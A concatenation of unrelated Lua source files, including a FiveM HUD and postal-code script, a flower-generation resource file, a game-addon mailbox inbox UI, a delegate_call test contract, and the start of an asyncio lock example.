printone(lin, "%1 G:Retrieving global variable: %2")
elseif not funcScope and GETGLOBALfile then
printone(lin, "%1 G:Retrieving global variable: %2")
end
end
end |
--------------------
--- Badssentials ---
--------------------
function Draw2DText(x, y, text, scale, center)
-- Draw text on screen
SetTextFont(4)
SetTextProportional(7)
SetTextScale(scale, scale)
SetTextColour(255, 255, 255, 255)
SetTextDropShadow(0, 0, 0, 0,255)
SetTextDropShadow()
SetTextEdge(4, 0, 0, 0, 255)
SetTextOutline()
if center then
SetTextJustification(0)
end
SetTextEntry("STRING")
AddTextComponentString(text)
DrawText(x, y)
end
tickDegree = 0;
local nearest = nil;
local postals = Postals;
function round(num, numDecimalPlaces)
if numDecimalPlaces and numDecimalPlaces>0 then
local mult = 10^numDecimalPlaces
return math.floor(num * mult + 0.5) / mult
end
return math.floor(num + 0.5)
end
currentTime = "0:00";
RegisterNetEvent('Badssentials:SetTime')
AddEventHandler('Badssentials:SetTime', function(time)
currentTime = time;
end)
currentDay = 1;
RegisterNetEvent('Badssentials:SetDay')
AddEventHandler('Badssentials:SetDay', function(day)
currentDay = day;
end)
currentMonth = 1;
RegisterNetEvent('Badssentials:SetMonth')
AddEventHandler('Badssentials:SetMonth', function(month)
currentMonth = month;
end)
currentYear = "2021";
RegisterNetEvent('Badssentials:SetYear')
AddEventHandler('Badssentials:SetYear', function(year)
currentYear = year;
end)
peacetime = false;
function ShowInfo(text)
SetNotificationTextEntry("STRING")
AddTextComponentString(text)
DrawNotification(true, false)
end
currentAOP = "Sandy Shores"
RegisterNetEvent('Badssentials:SetAOP')
AddEventHandler('Badssentials:SetAOP', function(aop)
currentAOP = aop;
end)
RegisterNetEvent('Badssentials:SetPT')
AddEventHandler('Badssentials:SetPT', function(pt)
peacetime = pt;
end)
displaysHidden = false;
RegisterCommand("toggle-hud", function()
displaysHidden = not displaysHidden;
TriggerEvent('Badger-Priorities:HideDisplay')
if displaysHidden then
DisplayRadar(false);
else
DisplayRadar(true);
end
end)
RegisterCommand("postal", function(source, args, raw)
if #args > 0 then
local postalCoords = getPostalCoords(args[1]);
if postalCoords ~= nil then
-- It is valid
SetNewWaypoint(postalCoords.x, postalCoords.y);
TriggerEvent('chatMessage', Config.Prefix .. "Your waypoint has been set to postal ^5" .. args[1]);
else
TriggerEvent('chatMessage', Config.Prefix .. "^1ERROR: That is not a valid postal code...");
end
else
SetWaypointOff();
TriggerEvent('chatMessage', Config.Prefix .. "Your waypoint has been reset!");
end
end)
function getPostalCoords(postal)
for _, v in pairs(postals) do
if v.code == postal then
return {x=v.x, y=v.y};
end
end
return nil;
end
local cooldown = 0
local ispriority = false
local ishold = false
RegisterCommand("resetpcd", function()
if IsPlayerAceAllowed(src, "Badssentials.PeaceTime") then
TriggerServerEvent("cancelcooldown")
end
end, false)
RegisterNetEvent('UpdateCooldown')
AddEventHandler('UpdateCooldown', function(newCooldown)
cooldown = newCooldown
end)
RegisterNetEvent('UpdatePriority')
AddEventHandler('UpdatePriority', function(newispriority)
ispriority = newispriority
end)
RegisterNetEvent('UpdateHold')
AddEventHandler('UpdateHold', function(newishold)
ishold = newishold
end)
Citizen.CreateThread(function()
while true do
Wait(0);
local pos = GetEntityCoords(PlayerPedId())
local playerX, playerY = table.unpack(pos)
local ndm = -1 -- nearest distance magnitude
local ni = -1 -- nearest index
for i, p in ipairs(postals) do
local dm = (playerX - p.x) ^ 2 + (playerY - p.y) ^ 2 -- distance magnitude
if ndm == -1 or dm < ndm then
ni = i
ndm = dm
end
end
--setting the nearest
if ni ~= -1 then
local nd = math.sqrt(ndm) -- nearest distance
nearest = {i = ni, d = nd}
end
local postal = postals[nearest.i].code;
local postalDist = round(nearest.d, 2);
local var1, var2 = GetStreetNameAtCoord(pos.x, pos.y, pos.z, Citizen.ResultAsInteger(), Citizen.ResultAsInteger())
local zone = GetLabelText(GetNameOfZone(pos.x, pos.y, pos.z));
local degree = degreesToIntercardinalDirection(GetCardinalDirection());
local streetName = GetStreetNameFromHashKey(var1);
for _, v in pairs(Config.Displays) do
local x = v.x;
local y = v.y;
local enabled = v.enabled;
if enabled and not displaysHidden then
local disp = v.display;
if (disp:find("{NEAREST_POSTAL}") or disp:find("{NEAREST_POSTAL_DISTANCE}")) then
disp = disp:gsub("{NEAREST_POSTAL}", postal);
disp = disp:gsub("{NEAREST_POSTAL_DISTANCE}", postalDist)
end
if (disp:find("{STREET_NAME}")) then
disp = disp:gsub("{STREET_NAME}", streetName);
end
if (disp:find("{CITY}")) then
disp = disp:gsub("{CITY}", zone);
end
if (disp:find("{COMPASS}")) then
disp = disp:gsub("{COMPASS}", degree);
end
disp = disp:gsub("{EST_TIME}", currentTime);
disp = disp:gsub("{US_DAY}", currentDay);
disp = disp:gsub("{US_MONTH}", currentMonth);
disp = disp:gsub("{US_YEAR}", currentYear);
disp = disp:gsub("{CURRENT_AOP}", currentAOP);
if (disp:find("{PRIORITY_STATUS}")) then
if ishold == true then
disp = disp:gsub("{PRIORITY_STATUS}", "~b~Priorities Are On Hold")
elseif cooldown == 0 then
disp = disp:gsub("{PRIORITY_STATUS}", "~g~Available")
elseif ispriority == true then
disp = disp:gsub("{PRIORITY_STATUS}", "~g~Priority In Progress")
elseif ispriority == false then
disp = disp:gsub("{PRIORITY_STATUS}", "~r~".. cooldown .." ~w~Mins")
end
end
local scale = v.textScale;
Draw2DText(x, y, disp, scale, false);
end
tickDegree = tickDegree + 9.0;
end
end
end)
function GetCardinalDirection()
local camRot = Citizen.InvokeNative( 0x837765A25378F0BB, 0, Citizen.ResultAsVector() )
local playerHeadingDegrees = 360.0 - ((camRot.z + 360.0) % 360.0)
local tickDegree = playerHeadingDegrees - 180 / 2
local tickDegreeRemainder = 9.0 - (tickDegree % 9.0)
tickDegree = tickDegree + tickDegreeRemainder
return tickDegree;
end
function degreesToIntercardinalDirection( dgr )
dgr = dgr % 360.0
if (dgr >= 0.0 and dgr < 22.5) or dgr >= 337.5 then
return " E "
elseif dgr >= 22.5 and dgr < 67.5 then
return "SE"
elseif dgr >= 67.5 and dgr < 112.5 then
return " S "
elseif dgr >= 112.5 and dgr < 157.5 then
return "SW"
elseif dgr >= 157.5 and dgr < 202.5 then
return " W "
elseif dgr >= 202.5 and dgr < 247.5 then
return "NW"
elseif dgr >= 247.5 and dgr < 292.5 then
return " N "
elseif dgr >= 292.5 and dgr < 337.5 then
return "NE"
end
end
|
print("Hello, world") |
---
-- Copyright (c) 2015 Jason Lingle
-- All rights reserved.
--
-- Redistribution and use in source and binary forms, with or without
-- modification, are permitted provided that the following conditions
-- are met:
-- 1. Redistributions of source code must retain the above copyright
-- notice, this list of conditions and the following disclaimer.
-- 2. Redistributions in binary form must reproduce the above copyright
-- notice, this list of conditions and the following disclaimer in the
-- documentation and/or other materials provided with the distribution.
-- 3. Neither the name of the author nor the names of its contributors
-- may be used to endorse or promote products derived from this software
-- without specific prior written permission.
--
-- THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
-- IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
-- OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
-- IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
-- INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
-- NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
-- DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
-- THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
-- (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
-- THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
local function grad_rgb(r0, g0, b0, r1, g1, b1)
return core.argb_gradient({ 255, r0, g0, b0 },
{ 255, r1, g1, b1 }, 4)
end
resource.flower.wild_aprjune_white = core.bind(core.new_flower) {
colours = grad_rgb(204, 204, 204, 140, 140, 150),
appear = 1.0,
disappear = 4.0,
size = 0.25,
date_stagger = 0.5,
}
resource.flower.wild_juneaug_pink = core.bind(core.new_flower) {
colours = grad_rgb(255, 204, 187, 150, 125, 110),
appear = 3.0,
disappear = 6.0,
size = 0.2,
date_stagger = 0.5,
}
resource.flower.wild_augoct_blue = core.bind(core.new_flower) {
colours = grad_rgb(170, 170, 204, 100, 100, 150),
appear = 5.0,
disappear = 8.0,
size = 0.275,
date_stagger = 0.5,
}
resource.flower.seasonal_apr_red = core.bind(core.new_flower) {
colours = grad_rgb(255, 64, 32, 140, 32, 24),
appear = 0.5,
disappear = 2.0,
size = 0.23,
date_stagger = 0.3,
}
resource.flower.seasonal_may_yellow = core.bind(core.new_flower) {
colours = grad_rgb(204, 200, 32, 150, 150, 24),
appear = 1.0,
disappear = 3.0,
size = 0.2,
date_stagger = 0.3,
}
resource.flower.seasonal_june_blue = core.bind(core.new_flower) {
colours = grad_rgb(48, 48, 170, 24, 24, 140),
appear = 2.0,
disappear = 4.0,
size = 0.25,
date_stagger = 0.3,
}
resource.flower.seasonal_july_orange = core.bind(core.new_flower) {
colours = grad_rgb(255, 150, 32, 170, 85, 24),
appear = 3.0,
disappear = 5.0,
size = 0.225,
}
resource.flower.seasonal_aug_white = core.bind(core.new_flower) {
colours = grad_rgb(224, 224, 200, 149, 149, 137),
appear = 4.0,
disappear = 6.0,
size = 0.2,
date_stagger = 0.3,
}
resource.flower.seasonal_sept_violet = core.bind(core.new_flower) {
colours = grad_rgb(128, 48, 170, 85, 32, 120),
appear = 5.0,
disappear = 7.0,
size = 0.25,
date_stagger = 0.3,
}
--- Distributes the common flowers in a "standard" way
function common_flowers_distribute_default()
-- Distribute wildflowers uniformly
mg.wod_clear()
mg.wod_permit_terrain_type(mg.terrain_type_grass)
mg.wod_add_flower(resource.flower.wild_aprjune_white(), 0.1, 0.4)
mg.wod_add_flower(resource.flower.wild_juneaug_pink(), 0.1, 0.4)
mg.wod_add_flower(resource.flower.wild_augoct_blue(), 0.1, 0.4)
mg.wod_distribute(100000, 0)
local function put_seasonal_flower(flower_type, group_wavelen, h1, h2)
mg.wod_clear()
mg.wod_permit_terrain_type(mg.terrain_type_grass)
mg.wod_add_perlin(64, 256)
mg.wod_add_perlin(32, 96)
mg.wod_add_perlin(group_wavelen, 64)
mg.wod_add_flower(flower_type, h1, h2)
mg.wod_distribute(1000000, 256)
end
put_seasonal_flower(resource.flower.seasonal_apr_red(), 16, 0.2, 0.4)
put_seasonal_flower(resource.flower.seasonal_may_yellow(), 8, 0.1, 0.3)
put_seasonal_flower(resource.flower.seasonal_june_blue(), 64, 0.2, 0.3)
put_seasonal_flower(resource.flower.seasonal_july_orange(), 32, 0.2, 0.5)
put_seasonal_flower(resource.flower.seasonal_aug_white(), 16, 0.2, 0.4)
put_seasonal_flower(resource.flower.seasonal_sept_violet(), 32, 0.3, 0.4)
end
|
------------------------------------------------------------------------------
-- constants
------------------------------------------------------------------------------
SPLASH_STATE = 1
MAIN_MENU_STATE = 2
GAME_STATE = 3
PAUSE_STATE = 4
OPTIONS_STATE = 5
DEFEAT_STATE = 6
------------------------------------------------------------------------------
-- transient data
------------------------------------------------------------------------------
state = SPLASH_STATE
function GotoState(targetState)
if targetState == SPLASH_STATE then SplashState_Start()
elseif targetState == GAME_STATE then GameState_Start()
elseif targetState == PAUSE_STATE then PauseState_Start()
elseif targetState == DEFEAT_STATE then DefeatState_Start()
end
state = targetState
end
|
class("AirportCaptureBar", import(".LevelStageStatusBarTemplate")).GetUIName = function (slot0)
return "AirportCaptureBar"
end
return class("AirportCaptureBar", import(".LevelStageStatusBarTemplate"))
|
-- #############
-- ## ##
-- ## Inbox ##
-- ## ##
-- #############
local mailSlotCount = 18; -- Number of slots in the inbox TOC
function UMMInboxTOCTemplate_OnLoad(this)
this.RefreshTOC = function(self)
local offset = UMMMailManager.InboxOffset;
for i = 1, mailSlotCount do
local button = _G[self:GetName().."Mail"..i]
index = i + offset;
if (index <= UMMMailManager.MailCount) then
local mail = UMMMailManager.Mails[index];
if (mail.Tagged == true) then
_G[button:GetName().."Tagged"]:Show()
else
_G[button:GetName().."Tagged"]:Hide()
end
getglobal(button:GetName().."Author"):SetText("|cff"..UMMFriends:GetColor(mail.Author, true)..(mail.Author or "").."|r");
local buttonIcon = getglobal(button:GetName().."Button");
SetItemButtonTexture(buttonIcon, mail.Icon);
if (mail.AttachedMoney > 0 or mail.AttachedDiamonds > 0) then
getglobal(button:GetName().."Subject"):Hide();
getglobal(button:GetName().."SmallSubject"):Show();
if (mail.AttachedMoney > 0) then
getglobal(button:GetName().."AttachedMoney"):Show();
getglobal(button:GetName().."AttachedDiamonds"):Hide();
getglobal(button:GetName().."AttachedMoney"):SetAmount(mail.AttachedMoney, "gold");
elseif (mail.AttachedDiamonds > 0) then
getglobal(button:GetName().."AttachedMoney"):Hide();
getglobal(button:GetName().."AttachedDiamonds"):Show();
getglobal(button:GetName().."AttachedDiamonds"):SetAmount(mail.AttachedDiamonds, "diamond");
end
if (mail.WasRead == true) then
getglobal(button:GetName().."SmallSubject"):SetText("|cff"..UMMColor.Grey..mail.Subject.."|r");
else
getglobal(button:GetName().."SmallSubject"):SetText("|cff"..UMMColor.White..mail.Subject.."|r");
end
else
getglobal(button:GetName().."Subject"):Show();
getglobal(button:GetName().."SmallSubject"):Hide();
getglobal(button:GetName().."AttachedMoney"):Hide();
getglobal(button:GetName().."AttachedDiamonds"):Hide();
if (mail.CODAmount > 0) then
getglobal(button:GetName().."Subject"):SetText("|cff"..UMMColor.Yellow..mail.Subject.."|r");
else
if (mail.WasRead == true) then
getglobal(button:GetName().."Subject"):SetText("|cff"..UMMColor.Grey..mail.Subject.."|r");
else
getglobal(button:GetName().."Subject"):SetText("|cff"..UMMColor.White..mail.Subject.."|r");
end
end
end
local DaysLeft = mail.DaysLeft;
local DaysLeftColor = UMMColor.Green;
if (DaysLeft < 1.0) then
DaysLeft = DaysLeft * 24;
DaysLeft = string.format("%d", DaysLeft);
if (DaysLeft == 1) then
DaysLeft = DaysLeft.." "..HOUR;
else
DaysLeft = DaysLeft.." "..HOURS;
end
DaysLeftColor = UMMColor.Red;
else
DaysLeft = string.format("%d", DaysLeft) + 1;
if (DaysLeft == 1) then
DaysLeft = DaysLeft.." "..DAY;
DaysLeftColor = UMMColor.Red;
elseif (DaysLeft == 2) then
DaysLeft = DaysLeft.." "..DAYS;
DaysLeftColor = UMMColor.Yellow;
else
DaysLeft = DaysLeft.." "..DAYS;
DaysLeftColor = UMMColor.Green;
end
end
getglobal(button:GetName().."DaysLeft"):SetText("|cff"..DaysLeftColor..DaysLeft.."|r");
button:Show();
else
button:Hide();
end
end
if (UMMMailManager.InboxTotalMoney > 0) then
getglobal(self:GetParent():GetName().."ToolsTotalMoneyLabel"):Show();
getglobal(self:GetParent():GetName().."ToolsTotalMoney"):SetAmount(UMMMailManager.InboxTotalMoney, "gold");
else
getglobal(self:GetParent():GetName().."ToolsTotalMoneyLabel"):Hide();
getglobal(self:GetParent():GetName().."ToolsTotalMoney"):Hide();
end
if (UMMMailManager.InboxTotalDiamonds > 0) then
getglobal(self:GetParent():GetName().."ToolsTotalDiamondsLabel"):Show();
getglobal(self:GetParent():GetName().."ToolsTotalDiamonds"):SetAmount(UMMMailManager.InboxTotalDiamonds, "diamond");
else
getglobal(self:GetParent():GetName().."ToolsTotalDiamondsLabel"):Hide();
getglobal(self:GetParent():GetName().."ToolsTotalDiamonds"):Hide();
end
if (UMMMailManager.MailCount > mailSlotCount) then
getglobal(self:GetName().."Scroll"):SetMaxValue(UMMMailManager.MailCount - mailSlotCount);
getglobal(self:GetName().."Scroll"):SetValue(UMMMailManager.InboxOffset);
getglobal(self:GetName().."Scroll"):Show();
else
getglobal(self:GetName().."Scroll"):Hide();
end
if (UMMMailManager.MailCount == 0) then
getglobal(self:GetParent():GetName().."Tools"):Hide();
getglobal(self:GetParent():GetName().."InfoLabel"):SetText("|cff"..UMMColor.Medium..UMM_INBOX_EMPTY.."|r");
else
getglobal(self:GetParent():GetName().."InfoLabel"):SetText("");
if (getglobal(self:GetParent():GetName().."Viewer"):IsVisible()) then
else
getglobal(self:GetParent():GetName().."Tools"):CheckSelection();
end
end
end;
this.ScrollChanged = function(self)
UMMMailManager.InboxOffset = getglobal(self:GetName().."Scroll"):GetValue();
self:RefreshTOC();
end;
this.ViewerClosed = function(self)
UMMMailManager:UnTagAll();
self:RefreshTOC();
getglobal(self:GetParent():GetName().."Tools"):CheckSelection();
end;
this.HideTOC = function(self)
for i = 1, mailSlotCount do
getglobal(self:GetName().."Mail"..i):Hide();
end
getglobal(self:GetName().."Scroll"):Hide();
getglobal(self:GetParent():GetName().."Tools"):Hide();
end;
this.ShowInboxStatus = function(self)
if (UMMMailManager.MailCount == 0) then
getglobal(self:GetParent():GetName().."InfoLabel"):SetText("|cff"..UMMColor.Medium..UMM_INBOX_EMPTY.."|r");
getglobal(self:GetParent():GetName().."Tools"):Hide();
else
getglobal(self:GetParent():GetName().."InfoLabel"):SetText("");
end
end;
this.Lock = function(self)
for i = 1, mailSlotCount do
getglobal(self:GetName().."Mail"..i):Disable();
end
getglobal(self:GetName().."Scroll"):Disable();
getglobal(self:GetParent():GetName().."Tools"):Lock();
end;
this.UnLock = function(self)
for i = 1, mailSlotCount do
getglobal(self:GetName().."Mail"..i):Enable();
end
getglobal(self:GetName().."Scroll"):Enable();
getglobal(self:GetParent():GetName().."Tools"):UnLock();
end;
for i = 1, mailSlotCount do
local mail = getglobal(this:GetName().."Mail"..i);
mail:ClearAllAnchors();
mail:SetAnchor("TOPLEFT", "TOPLEFT", this:GetName(), 0, ((i * 25) - 25));
mail:Hide();
end
end
function UMMInboxTOCTemplate_OnShow(this)
UMMFriends:Load();
UMMBagManager:Load();
UMMMailManager:ShowInbox();
getglobal(this:GetName().."Scroll"):SetValue(UMMMailManager.InboxOffset);
this:RefreshTOC();
if (UMMMailManager.MailCount == 0) then
getglobal(this:GetParent():GetName().."Tools"):Hide();
else
getglobal(this:GetParent():GetName().."Tools"):Show();
end
end
function UMMInboxTOCTemplate_OnHide(this)
this:HideTOC();
UMMMailManager:HideInbox();
end
function UMMInboxToolsTemplate_OnLoad(this)
this.SetOption = function(self, id)
for i = 1, 4 do
getglobal(self:GetName().."Option"..i):SetChecked(nil);
getglobal(self:GetName().."Option"..i.."Label"):SetText("|cff"..UMMColor.Grey.._G["UMM_INBOX_OPTION_"..i].."|r")
end
getglobal(self:GetName().."Option"..id):SetChecked(1);
getglobal(self:GetName().."Option"..id.."Label"):SetText("|cff"..UMMColor.White..getglobal("UMM_INBOX_OPTION_"..id).."|r");
end;
this.CheckSelection = function(self, viewer)
local tagCount = UMMMailManager:GetTagCount();
if (tagCount == 0) then
if (UMMMailManager.MailCount > 0) then
self:Show();
else
self:Hide();
end
getglobal(self:GetName().."ButtonReturn"):Disable();
getglobal(self:GetName().."ButtonDelete"):Disable();
elseif (tagCount == 1) then
if (viewer) then
self:Hide();
else
self:Show();
if (UMMMailManager:CanMassReturn()) then
getglobal(self:GetName().."ButtonReturn"):Enable();
else
getglobal(self:GetName().."ButtonReturn"):Disable();
end
if (UMMMailManager:CanMassDelete()) then
getglobal(self:GetName().."ButtonDelete"):Enable();
else
getglobal(self:GetName().."ButtonDelete"):Disable();
end
end
else
self:Show();
if (UMMMailManager:CanMassReturn()) then
getglobal(self:GetName().."ButtonReturn"):Enable();
else
getglobal(self:GetName().."ButtonReturn"):Disable();
end
if (UMMMailManager:CanMassDelete()) then
getglobal(self:GetName().."ButtonDelete"):Enable();
else
getglobal(self:GetName().."ButtonDelete"):Disable();
end
if (getglobal(self:GetParent():GetName().."Viewer"):IsVisible()) then
getglobal(self:GetParent():GetName().."Viewer"):Hide();
end
end
end;
this.ButtonClick = function(self, action)
if (string.lower(action) == "tagchars") then
UMMMailManager:MassTagMails("chars");
getglobal(self:GetParent():GetName().."TOC"):RefreshTOC();
elseif (string.lower(action) == "tagguildies") then
UMMMailManager:MassTagMails("guildies");
getglobal(self:GetParent():GetName().."TOC"):RefreshTOC();
elseif (string.lower(action) == "tagfriends") then
UMMMailManager:MassTagMails("friends");
getglobal(self:GetParent():GetName().."TOC"):RefreshTOC();
elseif (string.lower(action) == "tagother") then
UMMMailManager:MassTagMails("other");
getglobal(self:GetParent():GetName().."TOC"):RefreshTOC();
elseif (string.lower(action) == "tagempty") then
UMMMailManager:MassTagMails("empty");
getglobal(self:GetParent():GetName().."TOC"):RefreshTOC();
else
UMMMailManager:StartAutomation(action);
end
self:CheckSelection();
end;
this.Lock = function(self)
getglobal(self:GetName().."ButtonTake"):Disable();
getglobal(self:GetName().."ButtonReturn"):Disable();
getglobal(self:GetName().."ButtonDelete"):Disable();
for i = 1, 4 do
getglobal(self:GetName().."Option"..i):Disable();
end
getglobal(self:GetName().."ButtonTagChars"):Disable();
getglobal(self:GetName().."ButtonTagFriends"):Disable();
getglobal(self:GetName().."ButtonTagGuildies"):Disable();
getglobal(self:GetName().."ButtonTagOther"):Disable();
getglobal(self:GetName().."ButtonTagEmpty"):Disable();
getglobal(self:GetName().."CheckTakeDeleteEmpty"):Disable();
end;
this.UnLock = function(self)
getglobal(self:GetName().."ButtonTake"):Enable();
for i = 1, 4 do
_G[self:GetName().."Option"..i]:Enable()
end
getglobal(self:GetName().."ButtonTagChars"):Enable();
getglobal(self:GetName().."ButtonTagFriends"):Enable();
getglobal(self:GetName().."ButtonTagGuildies"):Enable();
getglobal(self:GetName().."ButtonTagOther"):Enable();
getglobal(self:GetName().."ButtonTagEmpty"):Enable();
getglobal(self:GetName().."CheckTakeDeleteEmpty"):Enable();
self:CheckSelection();
end;
this.InitView = function(self)
for i = 1, 5 do
getglobal(self:GetName().."HelpLabel"..i):SetText("|cff"..UMMColor.White..getglobal("UMM_HELP_INBOX_LINE"..i).."|r");
end
for i = 1, 4 do
getglobal(self:GetName().."Option"..i.."Label"):SetText("|cff"..UMMColor.White..getglobal("UMM_INBOX_OPTION_"..i).."|r");
end
getglobal(self:GetName().."TotalMoneyLabel"):SetText("|cff"..UMMColor.Yellow..UMM_INBOX_LABEL_TOTALMONEY.."|r");
getglobal(self:GetName().."TotalDiamondsLabel"):SetText("|cff"..UMMColor.Bright..UMM_INBOX_LABEL_TOTALDIAMONDS.."|r");
getglobal(self:GetName().."CheckTakeDeleteEmptyLabel"):SetText("|cff"..UMMColor.White..UMM_INBOX_CHECK_DELETEDONE.."|r");
getglobal(self:GetName().."MassTagLabel"):SetText("|cff"..UMMColor.White..UMM_INBOX_LABEL_MASSTAG.."|r");
getglobal(self:GetName().."ButtonTagChars"):SetText(UMM_INBOX_BUTTON_TAGCHARS);
getglobal(self:GetName().."ButtonTagFriends"):SetText(UMM_INBOX_BUTTON_TAGFRIENDS);
getglobal(self:GetName().."ButtonTagGuildies"):SetText(UMM_INBOX_BUTTON_TAGGUILDIES);
getglobal(self:GetName().."ButtonTagOther"):SetText(UMM_INBOX_BUTTON_TAGOTHER);
getglobal(self:GetName().."ButtonTagEmpty"):SetText(UMM_INBOX_BUTTON_TAGEMPTY);
getglobal(self:GetName().."ButtonTake"):SetText(UMM_INBOX_BUTTON_TAKE);
getglobal(self:GetName().."ButtonReturn"):SetText(UMM_INBOX_BUTTON_RETURN);
getglobal(self:GetName().."ButtonReturnLabel"):SetText("|cff"..UMMColor.White..UMM_HELP_INBOX_RETURNTAGGED.."|r");
getglobal(self:GetName().."ButtonDelete"):SetText(UMM_INBOX_BUTTON_DELETE);
getglobal(self:GetName().."ButtonDeleteLabel"):SetText("|cff"..UMMColor.White..UMM_HELP_INBOX_DELETETAGGED.."|r");
getglobal(self:GetName().."TotalMoneyLabel"):Hide();
getglobal(self:GetName().."TotalDiamondsLabel"):Hide();
getglobal(self:GetName().."TotalMoney"):Hide();
getglobal(self:GetName().."TotalDiamonds"):Hide();
self:SetOption(1);
getglobal(self:GetName().."CheckTakeDeleteEmpty"):SetChecked(1);
getglobal(self:GetName().."ButtonReturn"):Disable();
getglobal(self:GetName().."ButtonDelete"):Disable();
end;
this:InitView();
end
function UMMInboxTOCButtonTemplate_OnEnter(this)
_G[this:GetName().."Hover"]:Show()
local index = this:GetID() + UMMMailManager.InboxOffset
if (IsShiftKeyDown()) then
local packageIcon, sender, subject, COD, moneyMode, money, daysLeft, paperStyle, items, wasRead, wasReturned, canReply = GetInboxHeaderInfo(index)
if items and (items > 0) then
GameTooltip:SetOwner(this, "ANCHOR_RIGHT")
GameTooltip:SetInboxItem(index)
GameTooltip:Show()
end
end
end
function UMMInboxTOCButtonTemplate_OnLeave(this)
_G[this:GetName().."Hover"]:Hide()
GameTooltip:Hide()
end
function UMMInboxTOCButtonTemplate_OnClick(this)
if (IsCtrlKeyDown()) then
UMMMailManager:ToggleTagByID(this:GetID());
UMMFrameTab1Tools:CheckSelection();
else
UMMMailManager:UnTagAll();
UMMMailManager:TagByID(this:GetID());
UMMFrameTab1Tools:CheckSelection(true);
UMMFrameTab1Tools:Hide();
UMMFrameTab1Viewer:Display(this:GetParent():GetName(), UMMMailManager:GetSelectedMailIndex(), UMMMailManager:GetSelectedMail());
UMMFrameTab1Viewer:Show();
end
UMMFrameTab1TOC:RefreshTOC();
end
function UMMInboxTOCButtonTemplate_OnLeave(this)
getglobal(this:GetName().."Hover"):Hide();
end
|
type Storage = {
proxyAddr: string,
data: string
}
var M = Contract<Storage>()
function M:init()
self.storage.proxyAddr = ''
self.storage.data = '' -- delegate_call caller's contract must define storages used in callee
end
-- parse a,b,c format string to [a,b,c]
let function parse_args(arg: string, count: int, error_msg: string)
if not arg then
return error(error_msg)
end
let parsed = string.split(arg, ',')
if (not parsed) or (#parsed ~= count) then
return error(error_msg)
end
return parsed
end
let function parse_at_least_args(arg: string, count: int, error_msg: string)
if not arg then
return error(error_msg)
end
let parsed = string.split(arg, ',')
if (not parsed) or (#parsed < count) then
return error(error_msg)
end
return parsed
end
function M:set_proxy(target: string)
self.storage.proxyAddr = target
end
function M:set_data(arg: string)
let res = delegate_call(self.storage.proxyAddr, 'set_data', arg)
return res
end
function M:pass_set_data1(arg: string)
let parsed = parse_at_least_args(arg, 2, "need format: proxyAddr,argument")
let res = delegate_call(parsed[1], 'set_data', parsed[2])
return res
end
function M:pass_set_data2(arg: string)
let parsed = parse_at_least_args(arg, 3, "need format: proxyAddr1,proxyAddr2,argument")
let proxyAddr1 = tostring(parsed[1])
let proxyAddr2 = tostring(parsed[2])
let other = tostring(parsed[3])
let res = delegate_call(proxyAddr1, 'pass_set_data1', proxyAddr2 .. ',' .. other)
return res
end
function M:call_set_data(arg: string)
let parsed = parse_at_least_args(arg, 2, "need format: proxyAddr,argument")
let contract = import_contract_from_address(tostring(parsed[1]))
let res = contract:set_data(tostring(parsed[2]))
return res
end
function M:pass_call_data2(arg: string)
let parsed = parse_at_least_args(arg, 3, "need format: proxyAddr1,proxyAddr2,argument")
let proxyAddr1 = tostring(parsed[1])
let proxyAddr2 = tostring(parsed[2])
let other = tostring(parsed[3])
let res = delegate_call(proxyAddr1, 'call_set_data', proxyAddr2 .. ',' .. other)
return res
end
offline function M:hello(name: string)
let res = delegate_call(self.storage.proxyAddr, 'hello', name)
print("proxy target response", res)
return res
end
function M:pass_hello1(arg: string)
let parsed = parse_at_least_args(arg, 2, "need format: proxyAddr,argument")
let res = delegate_call(parsed[1], 'hello', parsed[2])
return res
end
function M:pass_hello2(arg: string)
let parsed = parse_at_least_args(arg, 3, "need format: proxyAddr1,proxyAddr2,argument")
let proxyAddr2 = tostring(parsed[2])
let other = tostring(parsed[3])
let res = delegate_call(parsed[1], 'pass_hello1', proxyAddr2 .. ',' .. other)
return res
end
function M:call_hello(arg: string)
let parsed = parse_at_least_args(arg, 2, "need format: proxyAddr,argument")
let contract = import_contract_from_address(tostring(parsed[1]))
let res = contract:hello(tostring(parsed[2]))
return res
end
function M:on_deposit_asset(arg: string)
delegate_call(self.storage.proxyAddr, 'on_deposit_asset_by_call', arg)
end
function M:on_deposit_asset_by_call(arg: string)
return delegate_call(self.storage.proxyAddr, 'on_deposit_asset_by_call', arg)
end
function M:pass_on_deposit_asset_by_call(arg: string)
let parsed = parse_at_least_args(arg, 2, "need format: proxyAddr,argument")
let res = delegate_call(parsed[1], 'on_deposit_asset_by_call', parsed[2])
return res
end
function M:withdraw(arg: string)
return delegate_call(self.storage.proxyAddr, 'withdraw', arg)
end
function M:pass_withdraw(arg: string)
let parsed = parse_at_least_args(arg, 2, "need format: proxyAddr,argument")
let res = delegate_call(parsed[1], 'withdraw', parsed[2])
return res
end
function M:call_withdraw(arg: string)
let parsed = parse_at_least_args(arg, 2, "need format: proxyAddr,argument")
let contract = import_contract_from_address(tostring(parsed[1]))
let res = contract:withdraw(tostring(parsed[2]))
return res
end
function M:query_balance(arg: string)
return delegate_call(self.storage.proxyAddr, 'query_balance', arg)
end
function M:pass_query_balance(arg: string)
let parsed = parse_at_least_args(arg, 2, "need format: proxyAddr,argument")
let res = delegate_call(parsed[1], 'query_balance', parsed[2])
return res
end
function M:call_query_balance(arg: string)
let parsed = parse_at_least_args(arg, 2, "need format: proxyAddr,argument")
let contract = import_contract_from_address(tostring(parsed[1]))
let res = contract:query_balance(tostring(parsed[2]))
return res
end
return M
|
local asyncio = require "lua-asyncio"
local async = asyncio.async
local loop = asyncio.loops.EventLoop.new({}, 10, 10)
local lock = loop:new_object(asyncio.sync.Lock)
local event = loop:new_object(asyncio.sync.Event)
local shared_var
local shared_access = async(function()
if shared_var then return end
